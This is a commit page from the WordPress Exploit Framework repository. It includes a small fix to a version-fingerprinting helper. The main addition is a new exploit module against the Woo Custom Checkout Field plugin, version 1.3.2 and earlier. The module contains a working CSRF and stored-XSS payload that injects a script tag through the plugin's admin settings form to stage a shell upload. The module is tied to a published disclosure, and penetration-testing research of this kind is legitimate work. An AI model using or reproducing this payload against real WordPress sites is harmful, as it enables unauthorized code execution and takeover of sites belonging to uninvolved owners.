Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 151eb7c

Browse files
committed
Merged development into master
2 parents 1749923 + 31bfb96 commit 151eb7c

File tree

2 files changed

+55
-3
lines changed

2 files changed

+55
-3
lines changed

lib/wpxf/wordpress/fingerprint.rb

Lines changed: 14 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -197,12 +197,23 @@ def content_directory_name(type)
197197
when :theme
198198
return 'themes'
199199
else
200-
fail("Unknown readme type #{type}")
200+
raise("Unknown readme type #{type}")
201201
end
202202
end
203203

204+
def extract_highest_version(body, pattern)
205+
version = nil
206+
207+
body.scan(pattern) do |match|
208+
match_version = Gem::Version.new(match[0])
209+
version = match_version if version.nil? || match_version > version
210+
end
211+
212+
version
213+
end
214+
204215
def extract_and_check_version(body, pattern, fixed = nil, introduced = nil)
205-
version = body[pattern, 1]
216+
version = extract_highest_version(body, pattern)
206217
return :unknown if version.nil?
207218

208219
version = Gem::Version.new(version)
@@ -224,7 +235,7 @@ def extension_version_pattern(type)
224235
# Version: 1.5.2
225236
return /(?:Version):\s*([0-9a-z.-]+)/i
226237
else
227-
fail("Unknown file type #{type}")
238+
raise("Unknown file type #{type}")
228239
end
229240
end
230241
end
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
class Wpxf::Exploit::WooCustomCheckoutFieldXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Woo Custom Checkout Field <= 1.3.2 XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+
],
12+
references: [
13+
['URL', 'http://blog.rastating.com/woo-custom-checkout-field-1-3-2-csrf-stored-xss-disclosure']
14+
],
15+
date: 'Jul 23 2016'
16+
)
17+
end
18+
19+
def check
20+
check_plugin_version_from_changelog('woo-custom-checkout-field', 'readme.txt', '1.3.3')
21+
end
22+
23+
def vulnerable_url
24+
normalize_uri(wordpress_url_admin, 'admin.php')
25+
end
26+
27+
def initial_script
28+
%|<html><head></head><body><script>
29+
#{js_post}
30+
post('#{vulnerable_url}?page=ccf_settings_menu', {
31+
txt_field_name: '#{Utility::Text.rand_alpha(5)}',
32+
txt_field_class: '<script>#{xss_include_script}<\\/script>',
33+
txt_field_placeholder: '#{Utility::Text.rand_alpha(5)}',
34+
txt_field_type: 'text',
35+
txt_field_options: '',
36+
add_field: ''
37+
});
38+
</script></body></html>
39+
|
40+
end
41+
end

0 commit comments

Comments
 (0)